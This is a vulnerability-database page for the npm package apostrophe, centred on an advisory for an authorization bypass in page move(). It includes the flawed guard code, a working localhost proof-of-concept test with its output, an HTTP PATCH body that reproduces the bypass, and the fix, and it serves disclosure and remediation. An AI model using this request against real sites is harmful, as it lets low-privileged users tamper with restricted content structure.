Vulnerabilities in pkg:npm/apostrophe

PACKAGE
Advisory Identifier: GHSA-wr5r-wqp2-x4fh
Advisory Summary

CVE-2026-63669 is a MODERATE (CVSS 6.5) missing destination-parent authorization vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting ApostropheCMS libraries in the npm ecosystem. The issue involves missing destination-parent authorization in page `move()` allows a low-privileged editor to move and re-rank pages inside a restricted subtree. Remediation is available by upgrading affected packages to version 4.32.0.

17 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/apostrophe

17 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/apostrophe. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-wr5r-wqp2-x4fh CVE-2026-63669 MODERATE ApostropheCMS: Missing destination-parent authorization in page `move()` allows a low-privileged editor to move and re-rank pages inside a restricted subtree
GHSA-vmg4-6gfg-83qx CVE-2026-71553 HIGH ApostropheCMS: 2nd-order prototype pollution via PATCH leading to single-request persistent DoS
GHSA-34pj-2622-jvxq CVE-2026-53607 LOW @apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header
GHSA-6h5j-32cf-4253 CVE-2026-53609 CRITICAL Apostrophe has Server-Side Prototype Pollution in apos.util.set via patch operators that leads to process-wide authorization bypass
GHSA-gf43-24g3-5hw2 CVE-2026-45013 HIGH Apostrophe has a Weak Password Recovery Mechanism for Forgotten Password and Improper Input Validation
GHSA-pr28-mf3q-qpg6 CVE-2026-45012 HIGH Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget
GHSA-5f64-7vfc-rcx6 CVE-2026-45011 HIGH Apostrophe has stored XSS via javascript: URL in Image Widget Link
GHSA-855c-r2vq-c292 CVE-2026-35569 HIGH Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS
GHSA-c276-fj82-f2pq CVE-2026-39857 MODERATE ApostropheCMS: Information Disclosure via choices/counts Query Parameters Bypassing publicApiProjection Field Restrictions
GHSA-97v6-998m-fp4g CVE-2026-33889 MODERATE ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context
GHSA-xhq9-58fw-859p CVE-2026-33888 MODERATE ApostropheCMS: publicApiProjection Bypass via project Query Builder in Piece-Type REST API
GHSA-mj7r-x3h3-7rmr CVE-2026-33877 LOW ApostropheCMS: User Enumeration via Timing Side Channel in Password Reset Endpoint
GHSA-v9xm-ffx2-7h35 CVE-2026-32730 HIGH ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware
GHSA-9j9m-8wjc-ff96 CVE-2021-25979 CRITICAL Apostrophe CMS Insufficient Session Expiration vulnerability
GHSA-4r9c-jghc-cx5m CVE-2021-25978 MODERATE Cross-site Scripting in apostrophe
GHSA-h97g-4mx7-5p2p - MODERATE Open Redirect in apostrophe
GHSA-pv6r-vchh-cxg9 - LOW Denial of Service in apostrophe

CVE-2026-63669 at a Glance

CVE Identifier CVE-2026-63669
GHSA Identifier GHSA-wr5r-wqp2-x4fh
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product ApostropheCMS
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-63669

To remediate this vulnerability, upgrade all affected ApostropheCMS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

apostrophe fixed: 4.32.0
npm install apostrophe@4.32.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls apostrophe

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-63669, inspect your project dependencies using npm:

npm ls apostrophe

Analyze the terminal output to locate any version of ApostropheCMS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.32.0), your application is affected.

Note: The npm ls apostrophe command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In ApostropheCMS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary ApostropheCMS enforces per-type authorization on pages: a page type may declare `editRole` / `publishRole` (and the core `@apostrophecms/archive-page` does), so a project can have page-type subtrees that only higher-privileged roles are allowed to create or edit within. The `move()` operation is supposed to enforce that a page may only be moved *into* a parent the actor has **create** rights over — this is the same boundary the page-insert route enforces (the insert target is fetched with `.permission('create')`). A regression in the move authorization guard silently disabled that destination check for every normal move. The guard now reads `(oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) && (oldParent.type === '@apostrophecms/archive-page' && !parent._edit)`. Because the final `&&` clause requires `oldParent.type === '@apostrophecms/archive-page'`, the whole conjunction can only be true while restoring a page *out of the archive*. For any ordinary move (the source page's old parent is a normal page), that clause is `false`, the entire condition is `false`, and `!parent._create` is never evaluated. The only surviving gate in the whole path is `moved._edit` — i.e. "can the actor edit the page being moved", which a low-privileged editor legitimately holds for their own ordinary pages. The result is that any authenticated user who can edit at least one page can relocate that page **under a parent of a restricted type they have no create/edit rights over**, and in doing so trigger an unauthenticated, unchecked `updateMany` that re-ranks the restricted parent's existing children (documents the actor cannot edit). This is reachable directly from the documented `PATCH`/`PUT /api/v1/@apostrophecms/page/:_id` REST routes via the attacker-controlled `_targetId` / `_position` body fields. ## Affected code (4.31.0) The broken guard in `move()` — `packages/apostrophe/modules/@apostrophecms/page/index.js`: ```js if (!moved._edit) { throw self.apos.error('forbidden'); } if (!(parent && oldParent)) { // Move outside tree throw self.apos.error('forbidden'); } if ( (oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) && (oldParent.type === '@apostrophecms/archive-page' && !parent._edit) // <-- regression: gates the whole check on "moving out of the archive" ) { throw self.apos.error('forbidden'); } ``` The target/parent is fetched with permission filtering explicitly OFF (so the guard above is the *only* thing that is supposed to enforce destination authorization) — `getTarget()`: ```js const target = await self.findForEditing(_req, criteria) .permission(false) // target is located regardless of the actor's rights .archived(null) .areas(false) .ancestors({ depth: 1, ... permission: false }) .children({ depth: 1, ... permission: false }).toObject(); ``` The privileged sink that then runs unguarded — `nudgeNewPeers()` re-ranks the destination parent's existing children with a raw DB write and no permission check: ```js async function nudgeNewPeers() { const locale = moved.aposLocale.split(':')[0]; const criteria = { path: self.matchDescendants(parent), aposLocale: { $in: [ `${locale}:draft`, `${locale}:published` ] }, level: parent.level + 1, rank: { $gte: rank } }; // Nudge down the pages that should now follow us await self.apos.doc.db.updateMany(criteria, { $inc: { rank: 1 } }); ... } ``` The REST entry point — the `patch` route reaches `move()` after only the `moved._edit` gate, with attacker-controlled `_targetId` / `_position`: ```js const page = await self.findOneForEditing(req, { _id }); ... if (!page._edit) { throw self.apos.error('forbidden'); } ... if (input._targetId) { const targetId = self.apos.launder.string(input._targetId); const position = self.apos.launder.string(input._position); modified = await self.move(req, page._id, targetId, position); } ``` For comparison, the sibling page-**insert** route enforces the destination boundary correctly by fetching the target with create-permission filtering, so an actor without create rights under the target gets `notfound`: ```js // post route (insert) const target = await self.getTarget(req, ...).permission('create') ... // restricted target is not found -> insert denied ``` ### Provenance (introduced regression) The guard was correct until commit `9f72bd229be07e537a2ae894f4527f2fe6bcd3bd` ("allow restore pages"), which changed it from `(oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create)` to the four-clause version above. The intent was to stop legitimate *archive restores* (where `parent._create` can be false) from being wrongly forbidden, but ANDing the new clause onto the existing chain gated the entire `_create` enforcement on `oldParent` being the archive — silently removing destination authorization for all normal moves. The condition is unchanged at HEAD (4.31.0). ## Attacker model / precondition The attacker is a low-privileged but content-editing authenticated user — in the core role model an `editor` or (in draft mode) a `contributor` — who can edit at least one ordinary page. No admin rights, no special tokens. The differentiated-permission boundary that makes this a *bypass* must exist in the project. In core, `permission.can(req, 'create'/'edit', type)` is computed per page-type via `checkRoleConfig('editRole')`, so the boundary is present whenever a project configures a page type (or the archive) with an `editRole` / `publishRole` higher than the actor's role, or uses per-page `editPermission` / the `@apostrophecms/workflow` add-on to make `_edit` / `_create` page-specific. The core `@apostrophecms/archive-page` already ships `editRole: 'admin'` / `publishRole: 'admin'`, and restricted section page types are a standard pattern. On a single-role site where every editor can already edit every page, the boundary does not exist and there is no additional impact — hence Medium, not High, in the general case. Where the boundary exists, this is a cross-boundary tree-restructuring and protected-sibling-mutation bypass. ## Impact A user with no create/edit rights over a restricted page-type subtree can: - Relocate a page they control **into** that restricted subtree (placing their content beneath an admin-only/role-gated section, changing its URL/slug to inherit the protected branch's path, and altering site structure across an authorization boundary), and - Cause an unchecked `updateMany` to **re-rank the restricted parent's existing children** — i.e. mutate (reorder) documents the actor is explicitly not permitted to edit. This is an integrity / authorization-boundary violation. It does not, by itself, disclose restricted field contents (read access is still filtered elsewhere) — confidentiality impact is None — and it is not a remote code or availability bug. The security consequence is unauthorized modification of protected content structure/ordering and unauthorized placement of content inside a role-gated branch. ## Proof of Concept (complete — runs on 127.0.0.1 only) The PoC uses ApostropheCMS's own test harness (a real Apostrophe instance + MongoDB) to drive the real `apos.page.move()` code path with a non-admin `editor` request. It creates an admin-only section page type (`editRole: 'admin'`), an admin-owned `secret` section with a pre-existing admin-only child, and an ordinary page an editor may edit; the editor then moves their page under the admin-only section. The move succeeds (it must be forbidden), the page is relocated under the restricted branch, and the protected child is re-ranked. Environment: Node 24, Docker (for MongoDB). Clone the repo at the anchor and install the workspace with pnpm. ```bash # 1. Disposable MongoDB on 127.0.0.1 docker run -d --name apos-mongo -p 27017:27017 mongo:7 # 2. Repo at the anchor git clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe cd /tmp/dh-apostrophe git checkout 68f1312d3 # 4.31.0 line npm i -g pnpm pnpm install --filter apostrophe... # 3. Drop in the PoC test and run it cd /tmp/dh-apostrophe/packages/apostrophe # (write test/poc-move-bac.js below, then:) npx mocha test/poc-move-bac.js ``` `packages/apostrophe/test/poc-move-bac.js`: ```js // PoC: Broken Access Control in apos.page.move() // A non-admin (editor) can move a page they may edit UNDER a parent page // whose type is admin-only (editRole: 'admin'), bypassing the destination // "create" permission check that move() is supposed to enforce. const t = require('../test-lib/test.js'); const assert = require('assert'); describe('PoC move BAC', function() { let apos; this.timeout(t.timeout); after(async function() { await t.destroy(apos); apos = null; }); before(async function() { apos = await t.create({ root: module, modules: { // A restricted page type: only admins may edit/create pages of this type. 'secret-page': { extend: '@apostrophecms/page-type', options: { editRole: 'admin', publishRole: 'admin' } }, // An ordinary page type any editor can edit/create. 'public-page': { extend: '@apostrophecms/page-type' }, '@apostrophecms/page': { options: { park: [], types: [ { name: '@apostrophecms/home-page', label: 'Home' }, { name: 'secret-page', label: 'Secret' }, { name: 'public-page', label: 'Public' } ] } } } }); }); it('demonstrates the BAC', async function() { const adminReq = apos.task.getReq({ role: 'admin' }); const home = await apos.page.find(adminReq, { level: 0 }).toObject(); // Admin creates an admin-only "secret" section page directly under home. const secret = await apos.page.insert(adminReq, home._id, 'lastChild', { title: 'Secret Section', type: 'secret-page', slug: '/secret' }); // Admin creates a pre-existing CHILD inside the secret section. Its rank // must NOT be silently rewritten by a lower-priv user's move. const secretChild = await apos.page.insert(adminReq, secret._id, 'lastChild', { title: 'Secret Child', type: 'secret-page', slug: '/secret/child' }); const secretChildBefore = await apos.page.find(adminReq, { _id: secretChild._id }).toObject(); // A non-admin EDITOR. Editors can edit/create ordinary pages but NOT // pages of type secret-page (editRole: admin). const editorReq = apos.task.getReq({ role: 'editor', user: { _id: 'editor-user', title: 'Editor', role: 'editor' } }); // The editor creates an ordinary page under home (allowed). const mine = await apos.page.insert(editorReq, home._id, 'lastChild', { title: 'My Page', type: 'public-page', slug: '/mine' }); // Sanity: confirm the editor genuinely lacks create/edit rights on the // secret section (so a move under it MUST be forbidden). const secretForEditor = await apos.page.find(editorReq, { _id: secret._id }) .permission(false).toObject(); console.log('PRECONDITION editor._create on secret =', secretForEditor._create, ' editor._edit on secret =', secretForEditor._edit); assert.strictEqual(secretForEditor._create, undefined, 'precondition: editor must NOT have create rights on the admin-only section'); // THE ATTACK: editor moves their ordinary page UNDER the admin-only // secret section. This SHOULD throw "forbidden". If it succeeds, BAC. // Use 'firstChild' so the moved page takes rank 0 and the pre-existing // admin-only child must be nudged from rank 0 -> 1 (a write to a doc the // editor cannot edit). let moveError = null; try { await apos.page.move(editorReq, mine._id, secret._id, 'firstChild'); } catch (e) { moveError = e; } const moved = await apos.page.find(adminReq, { _id: mine._id }).toObject(); const secretChildAfter = await apos.page.find(adminReq, { _id: secretChild._id }).toObject(); console.log('move threw:', moveError ? moveError.name : 'NOTHING (move succeeded)'); console.log('moved page path:', moved && moved.path); console.log('moved page is now under secret?', moved && moved.path.includes(secret.aposDocId)); console.log('secret child rank BEFORE:', secretChildBefore.rank, ' AFTER:', secretChildAfter.rank); // Assertions that prove the vulnerability: assert.strictEqual(moveError, null, 'VULN NOT PRESENT: move was correctly forbidden'); assert.ok(moved.path.includes(secret.aposDocId), 'VULN: editor relocated their page under the admin-only section'); assert.notStrictEqual(secretChildAfter.rank, secretChildBefore.rank, 'VULN: editor re-ranked an admin-only sibling page they cannot edit'); console.log('\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***'); }); }); ``` Observed output (4.31.0, commit `68f1312d3`): ``` PoC move BAC Listening at http://localhost:34129 PRECONDITION editor._create on secret = undefined editor._edit on secret = undefined move threw: NOTHING (move succeeded) moved page path: iqhgqffcpe3iwoe7qqvr79rx/l0ua8mfilcfdp38vduhj4684/szhq36qak65mnefb5va1cv4d moved page is now under secret? true secret child rank BEFORE: 0 AFTER: 1 *** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children *** ✔ demonstrates the BAC (390ms) 1 passing (6s) ``` The precondition holds (`editor._create on secret = undefined`), the move did not throw (`NOTHING`), the editor's page is now physically under the admin-only section's path, and the protected sibling's rank was rewritten (0 → 1) by the editor's request. In a deployed site the identical effect is reachable over HTTP by a logged-in non-admin via `PATCH /api/v1/@apostrophecms/page/<myPageId>:en:draft` with body `{ "_targetId": "<restrictedSectionId>:en:draft", "_position": "firstChild" }` (the route reaches `move()` after only the `page._edit` gate on the moved page). ## Remediation Restore destination-parent authorization for all non-archive moves and special-case only the archive-restore path. Replace the broken guard with logic equivalent to: ```js if ( (oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) && !(oldParent.type === '@apostrophecms/archive-page' && parent._edit) ) { throw self.apos.error('forbidden'); } ``` That is: a cross-parent move into a non-archive destination is forbidden unless the actor has `create` on the destination — with the single exception that restoring a page *out of the archive* into a destination the actor may `edit` is allowed. Equivalently, fetch the destination with `.permission('create')` (as the insert route does) and reject when it is not returned. Add a regression test asserting that a non-admin cannot move a page under a parent whose type carries a higher `editRole`/`publishRole`, mirroring the PoC above. Please credit 5ud0 / Tarmo Technologies.

CVE-2026-63669 Affected ApostropheCMS Versions

1 component(s)
Fixed Versions:
4.32.0
Product / Package Ecosystem Affected Versions Fixed Version
apostrophe
npm
< 4.32.0
4.32.0

References

Frequently Asked Questions

What is CVE-2026-63669?
CVE-2026-63669 is a security vulnerability in ApostropheCMS involving Missing destination-parent authorization in page `move()` allows a low-privileged editor to move and re-rank pages inside a restricted subtree under CWE-639: Authorization Bypass Through User-Controlled Key.
Which ApostropheCMS versions are affected?
Affected versions include releases prior to 4.32.0 across affected packages: apostrophe.
What version fixes CVE-2026-63669?
Upgrading to 4.32.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is apostrophe affected?
Yes, apostrophe is affected in releases prior to 4.32.0. Upgrade your dependency to 4.32.0 or later.
What is the CVSS score of CVE-2026-63669?
CVE-2026-63669 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-63669?
CVE-2026-63669 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check npm dependencies for CVE-2026-63669?
Run the dependency tree command: 'npm ls apostrophe'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wr5r-wqp2-x4fh",
  "modified" : "2026-09-03T20:05:08Z",
  "published" : "2026-09-03T20:05:08Z",
  "aliases" : [ "CVE-2026-63669" ],
  "summary" : "ApostropheCMS: Missing destination-parent authorization in page `move()` allows a low-privileged editor to move and re-rank pages inside a restricted subtree",
  "details" : "## Summary\nApostropheCMS enforces per-type authorization on pages: a page type may declare `editRole` / `publishRole` (and the core `@apostrophecms/archive-page` does), so a project can have page-type subtrees that only higher-privileged roles are allowed to create or edit within. The `move()` operation is supposed to enforce that a page may only be moved *into* a parent the actor has **create** rights over — this is the same boundary the page-insert route enforces (the insert target is fetched with `.permission('create')`).\n\nA regression in the move authorization guard silently disabled that destination check for every normal move. The guard now reads `(oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) && (oldParent.type === '@apostrophecms/archive-page' && !parent._edit)`. Because the final `&&` clause requires `oldParent.type === '@apostrophecms/archive-page'`, the whole conjunction can only be true while restoring a page *out of the archive*. For any ordinary move (the source page's old parent is a normal page), that clause is `false`, the entire condition is `false`, and `!parent._create` is never evaluated. The only surviving gate in the whole path is `moved._edit` — i.e. \"can the actor edit the page being moved\", which a low-privileged editor legitimately holds for their own ordinary pages.\n\nThe result is that any authenticated user who can edit at least one page can relocate that page **under a parent of a restricted type they have no create/edit rights over**, and in doing so trigger an unauthenticated, unchecked `updateMany` that re-ranks the restricted parent's existing children (documents the actor cannot edit). This is reachable directly from the documented `PATCH`/`PUT /api/v1/@apostrophecms/page/:_id` REST routes via the attacker-controlled `_targetId` / `_position` body fields.\n\n## Affected code (4.31.0)\n\nThe broken guard in `move()` — `packages/apostrophe/modules/@apostrophecms/page/index.js`:\n\n```js\nif (!moved._edit) {\n  throw self.apos.error('forbidden');\n}\nif (!(parent && oldParent)) {\n  // Move outside tree\n  throw self.apos.error('forbidden');\n}\nif (\n  (oldParent._id !== parent._id) &&\n  (parent.type !== '@apostrophecms/archive-page') &&\n  (!parent._create) &&\n  (oldParent.type === '@apostrophecms/archive-page' && !parent._edit)   // <-- regression: gates the whole check on \"moving out of the archive\"\n) {\n  throw self.apos.error('forbidden');\n}\n```\n\nThe target/parent is fetched with permission filtering explicitly OFF (so the guard above is the *only* thing that is supposed to enforce destination authorization) — `getTarget()`:\n\n```js\nconst target = await self.findForEditing(_req, criteria)\n  .permission(false)        // target is located regardless of the actor's rights\n  .archived(null)\n  .areas(false)\n  .ancestors({ depth: 1, ... permission: false })\n  .children({ depth: 1, ... permission: false }).toObject();\n```\n\nThe privileged sink that then runs unguarded — `nudgeNewPeers()` re-ranks the destination parent's existing children with a raw DB write and no permission check:\n\n```js\nasync function nudgeNewPeers() {\n  const locale = moved.aposLocale.split(':')[0];\n  const criteria = {\n    path: self.matchDescendants(parent),\n    aposLocale: { $in: [ `${locale}:draft`, `${locale}:published` ] },\n    level: parent.level + 1,\n    rank: { $gte: rank }\n  };\n  // Nudge down the pages that should now follow us\n  await self.apos.doc.db.updateMany(criteria, { $inc: { rank: 1 } });\n  ...\n}\n```\n\nThe REST entry point — the `patch` route reaches `move()` after only the `moved._edit` gate, with attacker-controlled `_targetId` / `_position`:\n\n```js\nconst page = await self.findOneForEditing(req, { _id });\n...\nif (!page._edit) {\n  throw self.apos.error('forbidden');\n}\n...\nif (input._targetId) {\n  const targetId = self.apos.launder.string(input._targetId);\n  const position = self.apos.launder.string(input._position);\n  modified = await self.move(req, page._id, targetId, position);\n}\n```\n\nFor comparison, the sibling page-**insert** route enforces the destination boundary correctly by fetching the target with create-permission filtering, so an actor without create rights under the target gets `notfound`:\n\n```js\n// post route (insert)\nconst target = await self.getTarget(req, ...).permission('create') ... // restricted target is not found -> insert denied\n```\n\n### Provenance (introduced regression)\nThe guard was correct until commit `9f72bd229be07e537a2ae894f4527f2fe6bcd3bd` (\"allow restore pages\"), which changed it from `(oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create)` to the four-clause version above. The intent was to stop legitimate *archive restores* (where `parent._create` can be false) from being wrongly forbidden, but ANDing the new clause onto the existing chain gated the entire `_create` enforcement on `oldParent` being the archive — silently removing destination authorization for all normal moves. The condition is unchanged at HEAD (4.31.0).\n\n## Attacker model / precondition\nThe attacker is a low-privileged but content-editing authenticated user — in the core role model an `editor` or (in draft mode) a `contributor` — who can edit at least one ordinary page. No admin rights, no special tokens.\n\nThe differentiated-permission boundary that makes this a *bypass* must exist in the project. In core, `permission.can(req, 'create'/'edit', type)` is computed per page-type via `checkRoleConfig('editRole')`, so the boundary is present whenever a project configures a page type (or the archive) with an `editRole` / `publishRole` higher than the actor's role, or uses per-page `editPermission` / the `@apostrophecms/workflow` add-on to make `_edit` / `_create` page-specific. The core `@apostrophecms/archive-page` already ships `editRole: 'admin'` / `publishRole: 'admin'`, and restricted section page types are a standard pattern. On a single-role site where every editor can already edit every page, the boundary does not exist and there is no additional impact — hence Medium, not High, in the general case. Where the boundary exists, this is a cross-boundary tree-restructuring and protected-sibling-mutation bypass.\n\n## Impact\nA user with no create/edit rights over a restricted page-type subtree can:\n\n- Relocate a page they control **into** that restricted subtree (placing their content beneath an admin-only/role-gated section, changing its URL/slug to inherit the protected branch's path, and altering site structure across an authorization boundary), and\n- Cause an unchecked `updateMany` to **re-rank the restricted parent's existing children** — i.e. mutate (reorder) documents the actor is explicitly not permitted to edit.\n\nThis is an integrity / authorization-boundary violation. It does not, by itself, disclose restricted field contents (read access is still filtered elsewhere) — confidentiality impact is None — and it is not a remote code or availability bug. The security consequence is unauthorized modification of protected content structure/ordering and unauthorized placement of content inside a role-gated branch.\n\n## Proof of Concept (complete — runs on 127.0.0.1 only)\n\nThe PoC uses ApostropheCMS's own test harness (a real Apostrophe instance + MongoDB) to drive the real `apos.page.move()` code path with a non-admin `editor` request. It creates an admin-only section page type (`editRole: 'admin'`), an admin-owned `secret` section with a pre-existing admin-only child, and an ordinary page an editor may edit; the editor then moves their page under the admin-only section. The move succeeds (it must be forbidden), the page is relocated under the restricted branch, and the protected child is re-ranked.\n\nEnvironment: Node 24, Docker (for MongoDB). Clone the repo at the anchor and install the workspace with pnpm.\n\n```bash\n# 1. Disposable MongoDB on 127.0.0.1\ndocker run -d --name apos-mongo -p 27017:27017 mongo:7\n\n# 2. Repo at the anchor\ngit clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe\ncd /tmp/dh-apostrophe\ngit checkout 68f1312d3          # 4.31.0 line\nnpm i -g pnpm\npnpm install --filter apostrophe...\n\n# 3. Drop in the PoC test and run it\ncd /tmp/dh-apostrophe/packages/apostrophe\n#   (write test/poc-move-bac.js below, then:)\nnpx mocha test/poc-move-bac.js\n```\n\n`packages/apostrophe/test/poc-move-bac.js`:\n\n```js\n// PoC: Broken Access Control in apos.page.move()\n// A non-admin (editor) can move a page they may edit UNDER a parent page\n// whose type is admin-only (editRole: 'admin'), bypassing the destination\n// \"create\" permission check that move() is supposed to enforce.\nconst t = require('../test-lib/test.js');\nconst assert = require('assert');\n\ndescribe('PoC move BAC', function() {\n  let apos;\n  this.timeout(t.timeout);\n\n  after(async function() {\n    await t.destroy(apos);\n    apos = null;\n  });\n\n  before(async function() {\n    apos = await t.create({\n      root: module,\n      modules: {\n        // A restricted page type: only admins may edit/create pages of this type.\n        'secret-page': {\n          extend: '@apostrophecms/page-type',\n          options: {\n            editRole: 'admin',\n            publishRole: 'admin'\n          }\n        },\n        // An ordinary page type any editor can edit/create.\n        'public-page': {\n          extend: '@apostrophecms/page-type'\n        },\n        '@apostrophecms/page': {\n          options: {\n            park: [],\n            types: [\n              { name: '@apostrophecms/home-page', label: 'Home' },\n              { name: 'secret-page', label: 'Secret' },\n              { name: 'public-page', label: 'Public' }\n            ]\n          }\n        }\n      }\n    });\n  });\n\n  it('demonstrates the BAC', async function() {\n    const adminReq = apos.task.getReq({ role: 'admin' });\n    const home = await apos.page.find(adminReq, { level: 0 }).toObject();\n\n    // Admin creates an admin-only \"secret\" section page directly under home.\n    const secret = await apos.page.insert(adminReq, home._id, 'lastChild', {\n      title: 'Secret Section',\n      type: 'secret-page',\n      slug: '/secret'\n    });\n\n    // Admin creates a pre-existing CHILD inside the secret section. Its rank\n    // must NOT be silently rewritten by a lower-priv user's move.\n    const secretChild = await apos.page.insert(adminReq, secret._id, 'lastChild', {\n      title: 'Secret Child',\n      type: 'secret-page',\n      slug: '/secret/child'\n    });\n    const secretChildBefore = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();\n\n    // A non-admin EDITOR. Editors can edit/create ordinary pages but NOT\n    // pages of type secret-page (editRole: admin).\n    const editorReq = apos.task.getReq({\n      role: 'editor',\n      user: { _id: 'editor-user', title: 'Editor', role: 'editor' }\n    });\n\n    // The editor creates an ordinary page under home (allowed).\n    const mine = await apos.page.insert(editorReq, home._id, 'lastChild', {\n      title: 'My Page',\n      type: 'public-page',\n      slug: '/mine'\n    });\n\n    // Sanity: confirm the editor genuinely lacks create/edit rights on the\n    // secret section (so a move under it MUST be forbidden).\n    const secretForEditor = await apos.page.find(editorReq, { _id: secret._id })\n      .permission(false).toObject();\n    console.log('PRECONDITION editor._create on secret =', secretForEditor._create,\n      ' editor._edit on secret =', secretForEditor._edit);\n    assert.strictEqual(secretForEditor._create, undefined,\n      'precondition: editor must NOT have create rights on the admin-only section');\n\n    // THE ATTACK: editor moves their ordinary page UNDER the admin-only\n    // secret section. This SHOULD throw \"forbidden\". If it succeeds, BAC.\n    // Use 'firstChild' so the moved page takes rank 0 and the pre-existing\n    // admin-only child must be nudged from rank 0 -> 1 (a write to a doc the\n    // editor cannot edit).\n    let moveError = null;\n    try {\n      await apos.page.move(editorReq, mine._id, secret._id, 'firstChild');\n    } catch (e) {\n      moveError = e;\n    }\n\n    const moved = await apos.page.find(adminReq, { _id: mine._id }).toObject();\n    const secretChildAfter = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();\n\n    console.log('move threw:', moveError ? moveError.name : 'NOTHING (move succeeded)');\n    console.log('moved page path:', moved && moved.path);\n    console.log('moved page is now under secret?', moved && moved.path.includes(secret.aposDocId));\n    console.log('secret child rank BEFORE:', secretChildBefore.rank, ' AFTER:', secretChildAfter.rank);\n\n    // Assertions that prove the vulnerability:\n    assert.strictEqual(moveError, null,\n      'VULN NOT PRESENT: move was correctly forbidden');\n    assert.ok(moved.path.includes(secret.aposDocId),\n      'VULN: editor relocated their page under the admin-only section');\n    assert.notStrictEqual(secretChildAfter.rank, secretChildBefore.rank,\n      'VULN: editor re-ranked an admin-only sibling page they cannot edit');\n\n    console.log('\\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***');\n  });\n});\n```\n\nObserved output (4.31.0, commit `68f1312d3`):\n\n```\n  PoC move BAC\nListening at http://localhost:34129\nPRECONDITION editor._create on secret = undefined  editor._edit on secret = undefined\nmove threw: NOTHING (move succeeded)\nmoved page path: iqhgqffcpe3iwoe7qqvr79rx/l0ua8mfilcfdp38vduhj4684/szhq36qak65mnefb5va1cv4d\nmoved page is now under secret? true\nsecret child rank BEFORE: 0  AFTER: 1\n\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***\n    ✔ demonstrates the BAC (390ms)\n\n  1 passing (6s)\n```\n\nThe precondition holds (`editor._create on secret = undefined`), the move did not throw (`NOTHING`), the editor's page is now physically under the admin-only section's path, and the protected sibling's rank was rewritten (0 → 1) by the editor's request. In a deployed site the identical effect is reachable over HTTP by a logged-in non-admin via `PATCH /api/v1/@apostrophecms/page/<myPageId>:en:draft` with body `{ \"_targetId\": \"<restrictedSectionId>:en:draft\", \"_position\": \"firstChild\" }` (the route reaches `move()` after only the `page._edit` gate on the moved page).\n\n## Remediation\nRestore destination-parent authorization for all non-archive moves and special-case only the archive-restore path. Replace the broken guard with logic equivalent to:\n\n```js\nif (\n  (oldParent._id !== parent._id) &&\n  (parent.type !== '@apostrophecms/archive-page') &&\n  (!parent._create) &&\n  !(oldParent.type === '@apostrophecms/archive-page' && parent._edit)\n) {\n  throw self.apos.error('forbidden');\n}\n```\n\nThat is: a cross-parent move into a non-archive destination is forbidden unless the actor has `create` on the destination — with the single exception that restoring a page *out of the archive* into a destination the actor may `edit` is allowed. Equivalently, fetch the destination with `.permission('create')` (as the insert route does) and reject when it is not returned. Add a regression test asserting that a non-admin cannot move a page under a parent whose type carries a higher `editRole`/`publishRole`, mirroring the PoC above.\n\nPlease credit 5ud0 / Tarmo Technologies.",
  "severity" : [ {
    "type" : "CVSS_V3",
